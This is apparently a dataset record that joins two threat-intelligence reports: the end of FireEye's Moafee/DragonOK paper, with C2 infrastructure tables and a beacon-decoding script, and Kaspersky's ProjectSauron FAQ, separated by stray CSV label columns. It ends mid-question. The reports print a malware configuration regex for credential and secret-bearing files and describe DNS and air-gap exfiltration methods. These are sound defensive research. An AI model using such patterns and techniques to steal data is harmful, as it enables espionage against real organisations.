HTRAN Backend HTRAN Backend Geolocation 2014-03-15 58.64.201.229 169.254.163.19 LINK LOCAL 2014-03-02 58.64.201.229 113.65.22.148 CHINANET GUANGDONG PROVINCE NETWORK 2014-02-22 58.64.201.229 169.254.61.191 LINK LOCAL 2014-02-18 58.64.201.229 113.68.111.111 CHINANET GUANGDONG PROVINCE NETWORK 2014-02-15 58.64.201.229 113.68.108.62 CHINANET GUANGDONG PROVINCE NETWORK 2014-02-12 58.64.201.229 113.68.168.73 CHINANET GUANGDONG PROVINCE NETWORK 2014-02-02 58.64.201.229 169.254.92.25 LINK LOCAL 2014-01-30 58.64.201.229 113.65.43.42 CHINANET GUANGDONG PROVINCE NETWORK 2014-01-27 58.64.201.229 113.66.12.112 CHINANET GUANGDONG PROVINCE NETWORK 2014-01-25 58.64.201.229 113.65.41.28 CHINANET GUANGDONG PROVINCE NETWORK 2014-01-20 58.64.201.229 113.68.171.67 CHINANET GUANGDONG PROVINCE NETWORK 2014-01-15 58.64.201.229 113.68.110.239 CHINANET GUANGDONG PROVINCE NETWORK 13 http://www.fireeye.com/blog/technical/malware-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of- malaysian-flight-mh-370.html 12 http://www.fireeye.com/resources/pdfs/fireeye-poison-ivy-report.pdf 19 www.fireeye.com FireEye: Operation Quantum Entanglement and July 1, 2012, the phi.crabance[.]com domain resolved to 98.126.91.66. This IP was observed hosting a HTRAN proxy client, which was seen connecting to a backend HTRAN server hosted at 113.66.248.60. This server was also located in the Guangdong Province and operated by CHINANET. In short, the Moafee group was observed consistently hosting their backend HTRAN servers in Guangdong. This observation may reveal that the Moafee group is physically located in this province. Campaign #2: DragonOK We have observed the DragonOK group target high-technology and manufacturing companies in both Japan and Taiwan. This group has used similar malware to the Moafee group described above. Specifically, we observed DragonOK employing PoisonIvy, 2013-10-04. The following other domains were seen resolving to this same IP: The DragonOK group was observed hosting their backend HTRAN servers in Jiangsu. This observation may reveal that the DragonOK group is physically located in the Jiangsu province. Nflog, Mongall, CT, and NewCT. Like the Moafee group, we observed the DragonOK group running an HTRAN proxy client on one of their front-end command and control servers. For approximately one week, between July 31, 2013 and August 8, 2013, the domain www.ndbssh[.]com served as a command and control server for Mongall payloads distributed by the DragonOK group. During this time, DragonOK also ran an HTRAN proxy client on www.ndbssh[.]com. This HTRAN client was seen attempting to connect to three different HTRAN servers located in the Jiangsu province and operated by CHINANET. The domain www.ndbssh[.]com resolved to 206.161.216.219 between 2013-09-28 and DATE CNC HTRAN Backend HTRAN Backend Geolocation 2013-08-05 www.ndbssh.com 58.217.168.205 CHINANET JIANGSU PROVINCE NETWORK 2013-08-04 www.ndbssh.com 222.95.171.178 CHINANET JIANGSU PROVINCE NETWORK 2013-07-31 www.ndbssh.com 58.217.169.95 CHINANET JIANGSU PROVINCE NETWORK DATE CNC Domain 2013-08-20 www.ghostale[.]com 2013-09-06 www.ycbackap[.]com 2013-12-20 asp.skyppee[.]com 2013-12-20 facebook.skyppee[.]com 2013-12-20 pop.skyppee[.]com 2013-12-20 mail.skyppee[.]com 2013-12-20 mil.skyppee[.]com 2013-12-20 web.pktmedia[.]com 2013-12-20 bbs.pktmedia[.]com 20 www.fireeye.com FireEye: Operation Quantum Entanglement 21 http://technet.microsoft.com/en-us/library/hh849687.aspx 22 http://technet.microsoft.com/en-us/library/hh847739.aspx Conclusion Based on the geolocation evidence provided in this paper, it appears that different operators executed the Moafee and DragonOK campaigns. This conclusion is supported by the following assessments: \xe2\x80\xa2 The campaigns target different industries in different geographic locations. The Moafee campaign targets government and military organizations in countries with national interests in the South China Sea. In contrast, the DragonOK campaign has been observed targeting high-technology and manufacturing companies in Japan and Taiwan. \xe2\x80\xa2 The campaigns maintain separate back-end command and control infrastructures hosted in different provinces in Mainland China. The Moafee campaign can be traced to infrastructure located in the Guangdong province, whereas the DragonOK campaign can be traced to infrastructure located in the Jiangsu province. While it seems that different operators are responsible for these two campaigns, our research showed that these operators share a number of common tools, techniques and procedures (TTPs). We also believe a separate third group is using these TTPs but we do not have sufficient insight to this operator at this time. The shared TTPs include: \xe2\x80\xa2 Usage of the same custom backdoors and RATs such as CT/NewCT/NewCT2, Mongall, Nflog, as well as off-the-shelf RATs such as PoisonIvy, to maintain access to the victims\xe2\x80\x99 networks. \xe2\x80\xa2 Usage of HTRAN to proxy their command and control communication. \xe2\x80\xa2 Usage of the same evasion techniques to evade detection such as environment checks based on CPU cores, password protected documents, and the use of large null padded files. We assess that these shared TTPs may be the result of: \xe2\x80\xa2 A direct relationship between the operators. \xe2\x80\xa2 An indirect relationship such as the completion of a common training regimen. \xe2\x80\xa2 A common quartermaster or supply-chain for their malware tools. Acknowledgements: We would like to thank Ronghwa Chong, Nart Villeneuve, Darien Kindlund, Kenneth Gears and Jonathan Wrolstad for their insight, research and support. 21 www.fireeye.com FireEye: Operation Quantum Entanglement Appendix A: Python Routine to Decode NewCT and CT Beacons def dexor(data,key): buffer = \xe2\x80\x9c\xe2\x80\x9d keylen = len(key) for i in range(0,len(data)): buffer += chr(ord(data[i]) ^ ord(key[i % keylen])) return buffer def decrypt(data): inverted = \xe2\x80\x9c\xe2\x80\x9d for byte in data: try: inverted += chr(~ord(byte) & 0xFF) except: continue beacon = \xe2\x80\x9c\\\\x\xe2\x80\x9d + \xe2\x80\x9c\\\\x\xe2\x80\x9d.join(\xe2\x80\x9c{0:x}\xe2\x80\x9d.format(ord(c)) for c in inverted[0:4]) end_marker = \xe2\x80\x9cindex\xe2\x80\x9d end = inverted.find(end_marker,0) + len(end_marker) + 4 values = inverted[:end].split(\xe2\x80\x98/\xe2\x80\x99) if len(values) < 7: return 0 key = values[1] data1 = binascii.unhexlify(values[3].replace(\xe2\x80\x98%\xe2\x80\x99,\xe2\x80\x9d)) data2 = binascii.unhexlify(values[5].replace(\xe2\x80\x98%\xe2\x80\x99,\xe2\x80\x9d)) c2_end = values[0].find(\xe2\x80\x98\\x00\xe2\x80\x99) - 1 c2 = values[0][4:c2_end] return beacon + \xe2\x80\x9c|\xe2\x80\x9d + c2 + \xe2\x80\x9c|\xe2\x80\x9d + dexor(data1,key) + \xe2\x80\x9c|\xe2\x80\x9d + dexor(data2,key) + \xe2\x80\x9c|\xe2\x80\x9d + values[6] 22 www.fireeye.com FireEye: Operation Quantum Entanglement Appendix B: Campaign codes embedded in NewCT/CT First stage payload Version Implant Implant Name C2 Server Campaign code 46e55cdf507ef10b 11d74dad6af8b94e NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 MSSoap.DLL http.jpaols[.] com hc_NewCT 989d04ab23385260 a402ce7b6751e60e NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 MSSoap.DLL facebook. pktmedia[.]com facebook. skyppee[.]com face_NewCT 6de67d5bfe61fbdc 2febfd289e9660c3 NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 MSSoap.DLL http.jpaols[.] com jp80_NewCT 908d847fd39a2851 85b3f0e8dc874dad NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 MSSoap.DLL sslc.moafee[.] com sslc_NewCT 26a48ee15b8f976d b35e219428e05ef3 NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 MSSoap.DLL http.jpaols[.] com jp80_NewCT bd5ed9168632e6da a6bcee6b6c48d60f NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 BurnDCSrv. DLL butitistrun. blogdns[.]com lcl918_NewCT 46ac122183c32858 581e95ef40bd31b3 CT V2.1 81998ee8b8f8304d 038e3cb5ff10b4d2 IntelAMTPP. dll ct.datangcun[.] com 20120509_CT V2.1 23 www.fireeye.com FireEye: Operation Quantum Entanglement Appendix C: Moafee and DragonOK Clusters FireEye: Operation Quantum Entanglement FireEye, Inc. | 1440 McCarthy Blvd. Milpitas, CA 95035 | 408.321.6300 | 877.FIREEYE (347.3393) | info@fireeye.com | www.fireeye.com \xc2\xa9 2014 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. WP.OQE.EN-US.072014 About FireEye, Inc. FireEye has invented a purpose-built, virtual machine-based security platform that provides real-time threat protection to enterprises and governments worldwide against the next generation of cyber attacks. These highly sophisticated cyber attacks easily circumvent traditional signature-based defenses, such as next-generation firewalls, IPS, anti-virus, and gateways. The FireEye Threat Prevention Platform provides real-time, dynamic threat protection without the use of signatures to protect an organization across the primary threat vectors and across the different stages of an attack life cycle. The core of the FireEye platform is a virtual execution engine, complemented by dynamic threat intelligence, to identify and block cyber attacks in real time. FireEye has over 1,900 customers across more than 60 countries, including over 130 of the Fortune 500.","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms | Securelist Solutions for: Home Products Small Business 1-50 employees Medium Business 51-999 employees Enterprise 1000+ employees Kaspersky CompanyAccount Get In Touch Solutions Endpoint SecurityLearn More Hybrid Cloud SecurityLearn More Internet of Things & Embedded SecurityLearn More Threat Management and DefenseLearn More Industrial CybersecurityLearn More Fraud PreventionLearn More Industries National CybersecurityLearn More Industrial CybersecurityLearn More Finance Services CybersecurityLearn More Healthcare CybersecurityLearn More Transportation CybersecurityLearn More Retail CybersecurityLearn More Other Industries Telecom Cybersecurity View all Products KasperskyEndpoint SecurityLearn More KasperskyEndpoint Detection and ResponseLearn More KasperskyHybrid Cloud SecurityLearn More KasperskyAnti Targeted Attack PlatformLearn More KasperskyPrivate Security NetworkLearn More KasperskyEmbedded Systems SecurityLearn More Other Products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View All Services KasperskyCybersecurity ServicesLearn More KasperskySecurity AwarenessLearn More KasperskyPremium SupportLearn More KasperskyThreat IntelligenceLearn More KasperskyThreat HuntingLearn More KasperskyIncident ResponseLearn More Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View All Resource Center Case Studies White Papers Datasheets Technologies Contact Us GDPR Menu Securelist English English P\xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Deutsch Fran\xc3\xa7ais Italiano Espa\xc3\xb1ol Polski Threats Mobile threats Secure environment (IoT) Financial threats Spam and phishing Industrial threats Vulnerabilities and exploits Web threats Categories APT reports Research Incidents Security Bulletin Publications Malware reports Spam and phishing reports All categories Tags Ransomware Targeted Attacks Botnets Internet Banking Mobile Malware Social Engineering Malware Statistics Show all tags Statistics Encyclopedia Descriptions Solutions for: Home Users Products KasperskyTotal Security KasperskyInternet Security KasperskyAnti-Virus KasperskyInternet Security for Mac Kaspersky Internet Security for Android KasperskySecure Connection Free Tools Kaspersky Safe Kids Kaspersky Password Manager Kaspersky Software Updater View more Renew Downloads Support Resource Center My Kaspersky My Devices My Products / Subscriptions My Orders Small Business(1-50 employees) Products KasperskySmall Office Security KasperskyEndpoint Security Cloud KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced Renew Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR KSOS Portal Medium Business(51-999 employees) Products KasperskyEndpoint Security Cloud KasperskySecurity for Office 365 KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced KasperskySecurity for Business Total KasperskyPhysical, Virtual & Cloud Workloads Security TARGETED SECURITY SOLUTIONS Mail Server File Server Mobile Internet Gateway Virtualization and Hybrid Cloud Collaboration Vulnerability and Patch Management Storage View More Services Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR CompanyAccount Enterprise(1000+ employees) Solutions Endpoint Security Hybrid Cloud Security Internet of Things & Embedded Security Threat Management and Defense Industrial Cybersecurity Fraud Prevention Industries National Cybersecurity Industrial Cybersecurity Finance Services Cybersecurity Healthcare Cybersecurity Transportation Cybersecurity Retail Cybersecurity Other industries Telecom Cybersecurity View all Products KasperskyEndpoint Security KasperskyEndpoint Detection and Response KasperskyHybrid Cloud Security KasperskyAnti Targeted Attack Platform KasperskyPrivate Security Network KasperskyEmbedded Systems Security Other products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View all Services KasperskyCybersecurity Services KasperskySecurity Awareness KasperskyPremium Support KasperskyThreat Intelligence KasperskyThreat Hunting KasperskyIncident Response Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View all Resource Center Case Studies White Papers Datasheets Technologies Contact Us GDPR CompanyAccount Securelist Threats Financial threats Mobile threats Web threats Secure environment (IoT) Vulnerabilities and exploits Spam and Phishing Industrial threats Categories APT reports Incidents Research Malware reports Spam and phishing reports Kaspersky Security Bulletin Publications Tags Ransomware Botnets Mobile Malware Social Engineering Targeted Attacks Malware Statistics All Tags Statistics Encyclopedia Descriptions Partners Partners Find a Partner Affiliate Technology Whitelist Program About Us About Us Company Team Transparency Transparency Center Policy Blog Corporate News Press Center Careers Incubator Sponsorships APT reports ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms By GReAT on August 8, 2016. 2:03 pm Contents Introduction: From discovery to detection: ProjectSauron FAQ: 1. What is ProjectSauron? 2. Who are the victims? 3. Have you notified victims? 4. For how long have the attackers been active? 5. Did the attackers use interesting or advanced techniques? 6. How did you discover this malware? 7. How does ProjectSauron operate? 8. What kind of implants does ProjectSauron use? 9. What is the initial infection vector? 10. How were the ProjectSauron implants deployed within the target network? 11. What C&C infrastructure did the attackers use? 12. Does ProjectSauron target isolated (air-gapped) networks? 13. Does ProjectSauron target critical infrastructure? 14. Did ProjectSauron use any special communication methods? 15. What is the most sophisticated feature of the ProjectSauron APT? 16. Are the attackers using any zero-day vulnerabilities? 17. Is this a Windows-only threat? What versions of Windows are targeted? 18. Were the attackers hunting for specific information? 19. What exactly is being stolen from the targeted machines? 20. Have you observed any artifacts indicating who is behind the ProjectSauron APT? 21. Is this a nation-state sponsored attack? 22. What would ProjectSauron have cost to set up and run? 23. How does the ProjectSauron platform compare to other top-level threat actors? 24. Do Kaspersky Lab products detect all variants of this malware? 25. Are there Indicators of Compromise (IOCs) to help victims identify the intrusion? \xc2 Download the full report (PDF) \xc2 Technical analysis \xc2 Indicators of compromise (IOC) Download YARA rules More information about ProjectSauron is available to customers of Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com Introduction: Over the last few years, the number of \xe2\x80\x9cAPT-related\xe2\x80\x9d incidents described in the media has grown significantly. For many of these, though, the designation \xe2\x80\x9cAPT\xe2\x80\x9d, indicating an \xe2\x80\x9cAdvanced Persistent Threat\xe2\x80\x9d, is usually an exaggeration. With some notable exceptions, few of the threat actors usually described in the media are advanced. These exceptions, which in our opinion represent the pinnacle of cyberespionage tools: the truly \xe2\x80\x9cadvanced\xe2\x80\x9d threat actors out there, are Equation, Regin, Duqu or Careto. Another such an exceptional espionage platform is \xe2\x80\x9cProjectSauron\xe2\x80\x9d, also known as \xe2\x80\x9cStrider\xe2\x80\x9d. What differentiates a truly advanced threat actor from a wannabe APT? Here are a few features that characterize the \xe2\x80\x98top\xe2\x80\x99 cyberespionage groups: The use of zero day exploits Unknown, never identified infection vectors Have compromised multiple government organizations in several countries Have successfully stolen information for many years before being discovered Have the ability to steal information from air gapped networks Support multiple covert exfiltration channels on various protocols Malware modules which can exist only in memory without touching the disk Unusual persistence techniques which sometime use undocumented OS features \xe2\x80\x9cProjectSauron\xe2\x80\x9d easily covers many of these points. From discovery to detection: When talking about long-standing cyber-espionage campaigns, many people wonder why it took so long to catch them. Perhaps one of the explanations is having the right tools for the right job. Trying to catch government or military grade malware requires specialized technologies and products. One such product is Kaspersky\xe2\x80\x99s AntiTargeted Attacks Platform, KATA (http://www.kaspersky.com/enterprise-security/anti-targeted-attack-platform). In September 2015, our anti-targeted attack technologies caught a previously unknown attack. The suspicious module was an executable library, loaded in the memory of a Windows domain controller (DC). The library was registered as a Windows password filter and had access to sensitive data in cleartext. Additional research revealed signs of massive activity from a new threat actor that we codenamed \xe2\x80\x98ProjectSauron\xe2\x80\x99, responsible for large-scale attacks against key governmental entities in several countries. \xe2\x80\x9cSAURON\xe2\x80\x9d \xe2\x80\x93 internal name used in the Lua scripts ProjectSauron comprises a top-of-the-top modular cyber-espionage platform in terms of technical sophistication, designed to enable long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. For example, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Some other key features of ProjectSauron: It is a modular platform designed to enable long-term cyber-espionage campaigns. All modules and network protocols use strong encryption algorithms, such as RC6, RC5, RC4, AES, Salsa20, etc. It uses a modified Lua scripting engine to implement the core platform and its plugins. There are upwards of 50 different plugin types. The actor behind ProjectSauron has a high interest in communication encryption software widely used by targeted governmental organizations. It steals encryption keys, configuration files, and IP addresses of the key infrastructure servers related to the encryption software. It is able to exfiltrate data from air-gapped networks by using specially-prepared USB storage drives where data is stored in an area invisible to the operation system. The platform makes extensive use of the DNS protocol for data exfiltration and real-time status reporting. The APT was operational as early as June 2011 and remained active until April 2016. The initial infection vector used to penetrate victim networks remains unknown. The attackers utilize legitimate software distribution channels for lateral movement within infected networks. To help our readers better understand the ProjectSauron attack platform, we\xe2\x80\x99ve prepared an FAQ which brings together some of the most important points about this attacker and its tools. A brief technical report is also available, including IOCs and Yara rules. Our colleagues from Symantec have also released their analysis on ProjectSauron / Strider. You can read it here: http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets ProjectSauron FAQ: 1. What is ProjectSauron? ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to \xe2\x80\x98Sauron\xe2\x80\x99 in the Lua scripts. 2. Who are the victims? Using our telemetry, we found more than 30 infected organizations in Russia, Iran, Rwanda and possibly in Italian-speaking countries as well. Many more organizations and geographies are likely to be affected. The attacked organizations are key entities that provide core state functions: Government Scientific research centers Military Telecommunication providers Finance 3. Have you notified victims? As usual, Kaspersky Lab actively collaborates with industry partners, CERTs and law enforcement agencies to notify victims and help to mitigate the threat. We also rely on public awareness to spread information about it. If you need more information about this actor, please contact intelreports@kaspersky.com. 4. For how long have the attackers been active? Forensic analysis indicates that the APT has been operational since at least June 2011 and was still active in 2016. Although it appears to have largely ceased, there is a chance that it is still active on computer systems that are not covered by Kaspersky Lab solutions. 5. Did the attackers use interesting or advanced techniques? The attackers used multiple interesting and unusual techniques, including: Data exfiltration and real-time status reporting using DNS requests. Implant deployment using legitimate software update scripts. Data exfiltration from air-gapped networks through the use of specially prepared USB storage drives where the stolen data is stored in the area unused by standard tools of the operating system. Using a modified Lua scripting engine to implement the core platform and its plugins. The use of Lua components in malware is very rare \xe2\x80\x93 it was previously spotted in the Flame and Animal Farm attacks. 6. How did you discover this malware? In September 2015, Kaspersky Lab\xe2\x80\x99s Anti-Targeted Attack Platform discovered anomalous network traffic in a client organization\xe2\x80\x99s network. Analysis of this incident led to the discovery of a strange executable program library loaded into the memory of the domain controller server. The library was registered as a Windows password filter and had access to sensitive data such as administrative passwords in cleartext. Additional research revealed signs of activity of a previously unknown threat actor. 7. How does ProjectSauron operate? ProjectSauron usually registers its persistence module on domain controllers as a Windows LSA (Local Security Authority) password filter. This feature is typically used by system administrators to enforce password policies and validate new passwords to match specific requirements, such as length and complexity. This way, the ProjectSauron passive backdoor module starts every time any network or local user (including an administrator) logs in or changes a password, and promptly harvests the password in plaintext. In cases where domain controllers lack direct Internet access, the attackers install additional implants on other local servers which have both local network and Internet access and may pass through significant amount of network traffic, i.e. proxy-servers, web-servers, or software update servers. After that, these intermediary servers are used by ProjectSauron as internal proxy nodes for silent and inconspicuous data exfiltration, blending in with high volumes of legitimate traffic. Once installed, the main ProjectSauron modules start working as \xe2\x80\x98sleeper cells\xe2\x80\x99, displaying no activity of their own and waiting for \xe2\x80\x98wake-up\xe2\x80\x99 commands in the incoming network traffic. This method of operation ensures ProjectSauron\xe2\x80\x99s extended persistence on the servers of targeted organizations. 8. What kind of implants does ProjectSauron use? Most of ProjectSauron\xe2\x80\x99s core implants are designed to work as backdoors, downloading new modules or running commands from the attacker purely in memory. The only way to capture these modules is by making a full memory dump of the infected systems. Almost all of ProjectSauron\xe2\x80\x99s core implants are unique, have different file names and sizes, and are individually built for each target. Each module\xe2\x80\x99s timestamp, both in the file system and in its own headers, is tailored to the environment on which it is installed. Secondary ProjectSauron modules are designed to perform specific functions like stealing documents, recording keystrokes, and stealing encryption keys from both infected computers and attached USB sticks. ProjectSauron implements a modular architecture using its own virtual file system to store additional modules (plugins) and a modified Lua interpreter to execute internal scripts. There are upwards of 50 different plugin types. 9. What is the initial infection vector? To date, the initial infection vector used by ProjectSauron to penetrate victim networks remains unknown. 10. How were the ProjectSauron implants deployed within the target network? In several cases, ProjectSauron modules were deployed through the modification of scripts used by system administrators to centrally deploy legitimate software updates within the network. In essence, the attackers injected a command to start the malware by modifying existing software deployment scripts. The injected malware is a tiny module that works as a simple downloader. Once started under a network administrator account, this small downloader connects to a hard-coded internal or external IP address and downloads the bigger ProjectSauron payload from there. In cases where the ProjectSauron persistence container is stored on disk in EXE file format, it disguises the files with legitimate software file names. 11. What C&C infrastructure did the attackers use? The ProjectSauron actor is extremely well prepared when it comes to operational security. Running an expensive cyberespionage campaign like ProjectSauron requires vast domain and server infrastructure uniquely assigned to each victim organization and never reused again. This makes traditional network-based indicators of compromise almost useless because they won\xe2\x80\x99t be reused in any other organization. We collected 28 domains linked to 11 IPs located in the United States and several European countries that might be connected to ProjectSauron campaigns. Even the diversity of ISPs selected for ProjectSauron operations makes it clear that the actor did everything possible to avoid creating patterns. 12. Does ProjectSauron target isolated (air-gapped) networks? Yes. We registered a few cases where ProjectSauron successfully penetrated air-gapped networks. The ProjectSauron toolkit contains a special module designed to move data from air-gapped networks to Internet-connected systems. To achieve this, removable USB devices are used. Once networked systems are compromised, the attackers wait for a USB drive to be attached to the infected machine. These USBs are specially formatted to reduce the size of the partition on the USB disk, reserving an amount of hidden data (several hundred megabytes) at the end of the disk for malicious purposes. This reserved space is used to create a new custom-encrypted partition that won\xe2\x80\x99t be recognized by a common OS, such as Windows. The partition has its own semi-filesystem (or virtual file system, VFS) with two core directories: \xe2\x80\x98In\xe2\x80\x99 and \xe2\x80\x98Out\xe2\x80\x99. This method also bypasses many DLP products, since software that disables the plugging of unknown USB devices based on DeviceID wouldn\xe2\x80\x99t prevent an attack or data leakage, because a genuine recognized USB drive was used. 13. Does ProjectSauron target critical infrastructure? Some of the entities infected by ProjectSauron can be classified as critical infrastructure. However, we haven\xe2\x80\x99t registered ProjectSauron infections inside industrial control system networks that have SCADA systems in place. Also, we have not yet seen a ProjectSauron module targeting any specific industrial hardware or software. 14. Did ProjectSauron use any special communication methods? For network communication, the ProjectSauron toolkit has extensive abilities, leveraging the stack of the most commonly used protocols: ICMP, UDP, TCP, DNS, SMTP and HTTP. One of the ProjectSauron plugins is the DNS data exfiltration tool. To avoid generic detection of DNS tunnels at network level, the attackers use it in low-bandwidth mode, which is why it is used solely to exfiltrate target system metadata. Another interesting feature in ProjectSauron malware that leverages the DNS protocol is the real-time reporting of the operation progress to a remote server. Once an operational milestone is achieved, ProjectSauron issues a DNS-request to a special subdomain unique to each target. 15. What is the most sophisticated feature of the ProjectSauron APT? In general, the ProjectSauron platform is very advanced and reaches the level of complexity of Regin, Equation and similar threat actors we have reported on in the past. Some of the most interesting things in the ProjectSauron platform include: Multiple exfiltration mechanisms, including piggybacking on known protocols. Bypassing air-gaps using hidden data partitions on USB sticks. Hijacking Windows LSA to control network domain servers. Implementing an extended Lua engine to write custom malicious scripts to control the entire malware platform with a high-level language. 16. Are the attackers using any zero-day vulnerabilities? To date we have not found any 0-day exploits associated with ProjectSauron. However, when penetrating isolated systems, the creation of the encrypted storage area in the USB does not in itself enable attackers to get control of the air-gapped machines. There has to be another component such as a 0\xc2\xadday exploit placed on the main partition of the USB drive. So far we have not found any 0-day exploit embedded in the body of the malware we analyzed, and we believe it was probably deployed in rare, hard-to-catch instances. 17. Is this a Windows-only threat? What versions of Windows are targeted? ProjectSauron works on all modern Microsoft Windows operating systems \xe2\x80\x93 both x64 and x86. We have witnessed infections running on Windows XP x86 as well as Windows 2012 R2 Server Edition x64. To date, we haven\xe2\x80\x99t found a non-Windows version of ProjectSauron. 18. Were the attackers hunting for specific information? ProjectSauron actively searches for information related to rather uncommon, custom network encryption software. This client-server software is widely adopted by many of the target organizations to secure communications, voice, email, and document exchange. In a number of the cases we analyzed, ProjectSauron deployed malicious modules inside the custom network encryption\xe2\x80\x99s software directory, disguised under similar filenames and accessing the data placed beside its own executable. Some of extracted Lua scripts show that the attackers have a high interest in the software components, keys, configuration files, and the location of servers that relay encrypted messages between the nodes. Also, one of the embedded ProjectSauron configurations contains a special unique identifier for the targeted network encryption software\xe2\x80\x99s server within its virtual network. The behavior of the component that searches for the server IP address is unusual. After getting the IP, the ProjectSauron component tries to communicate with the remote server using its own (ProjectSauron) protocol as if it was yet another C&C server. This suggests that some communication servers running the mentioned network encryption software could also be infected with ProjectSauron. 19. What exactly is being stolen from the targeted machines? The ProjectSauron modules we found are able to steal documents, record keystrokes and steal encryption keys from infected computers and attached USB sticks. The fragment of configuration block below, extracted from ProjectSauron, shows the kind of information and file extensions the attackers were looking for: .*account.*|.*acct.*|.*domain.*|.*login.*|.*member.*|.*user.*|.*name|.*email|.*_id|id|uid|mn|mailaddress|.*nick.*|alias|codice|uin|sign-in|strCodUtente|.*pass.*|.*pw|pw.*|additional_info|.*secret.*|.*segreto.* [^\\$]$ ^.*\\.(doc|xls|pdf)$ *.txt;*.doc;*.docx;*.ppt;*.pptx;*.xls;*.xlsx;*.vsd;*.wab;*.pdf;*.dst;*.ppk;*.rsa;*.rar;*.one;*.rtf;~WPL*.tmp;*.FTS;*.rpt;*.conf;*.cfg;*.pk2;*.nct;*.key;*.psw Interestingly, while most of the words and extensions above are in the English language, several of them point to Italian, such as: \xe2\x80\x98codice\xe2\x80\x99, \xe2\x80\x98strCodUtente\xe2\x80\x99 and \xe2\x80\x98segreto\xe2\x80\x99. Keywords / filenames targeted by ProjectSauron data theft modules: Italian keyword Translation Codice code CodUtente Usercode Segreto Secret This suggests the attackers had prepared to attack Italian-speaking targets as well. However, we are not aware of any Italian victims of ProjectSauron at the moment. 20. Have you observed any artifacts indicating who is behind the ProjectSauron APT? Attribution is hard and reliable attribution is rarely possible in cyberspace. Even with confidence in various indicators and apparent attacker mistakes, there is a greater likelihood that these are smoke and mirrors created by an attacker with a greater vantage point and vast resources. When dealing with the most advanced threat actors, as is the case with ProjectSauron, attribution becomes an unsolvable problem. 21. Is this a nation-state sponsored attack? We think an operation of such complexity, aimed at stealing confidential and secret information, can only be executed with support from a nation-state. 22. What would ProjectSauron have cost to set up and run? Kaspersky Lab has no exact data on this, but estimates that the development and operation of ProjectSauron is likely to have required several specialist teams and a budget probably running into millions of dollars. 23. How does the ProjectSauron platform compare to other top-level threat actors? The actor behind ProjectSauron is very advanced, comparable only to the top-of-the-top in terms of sophistication: alongside Duqu, Flame, Equation, and Regin. Whether related or unrelated to these advanced actors, the ProjectSauron attackers have definitely learned from them. As a reminder, here are some features of other APT attackers which we discovered that the ProjectSauron attackers had carefully learned from or emulated: Duqu: Use of intranet C&Cs (where compromised target servers may act as independent C&Cs) Running only in memory (persistence on a few gateway hosts only) Use of different encryption methods per victim Use of named pipes for LAN communication Malware distribution through legitimate software deployment channels Flame: Lua-embedded code Secure file deletion (through data wiping) Attacking air-gapped systems via removable devices Equation and Regin: Usage of RC5/RC6 encryption Virtual Filesystems (VFS) Attacking air-gapped systems via removable devices Hidden data storage on removable devices These other actors also showed what made them vulnerable to potential exposure, and ProjectSauron did its best to address these issues: Vulnerable or persistent C&C locations ISP name, IP, domain, and tools reuse across different campaigns Crypto-algorithm reuse (as well as encryption keys) Forensic footprint on disk Timestamps in various components Large volumes of exfiltrated data, alarming unknown protocols or message formats In addition, it appears that the attackers took special care with what we consider as indicators of compromise and implemented a unique pattern for each and every target they attacked, so that the same indicators would have little value for anyone else. This is a summary of the ProjectSauron strategy as we see it. The attackers clearly understand that we as researchers are always looking for patterns. Remove the patterns and the operation will be harder to discover. We are aware of more than 30 organizations attacked, but we are sure that this is just a tiny tip of the iceberg. 24. Do 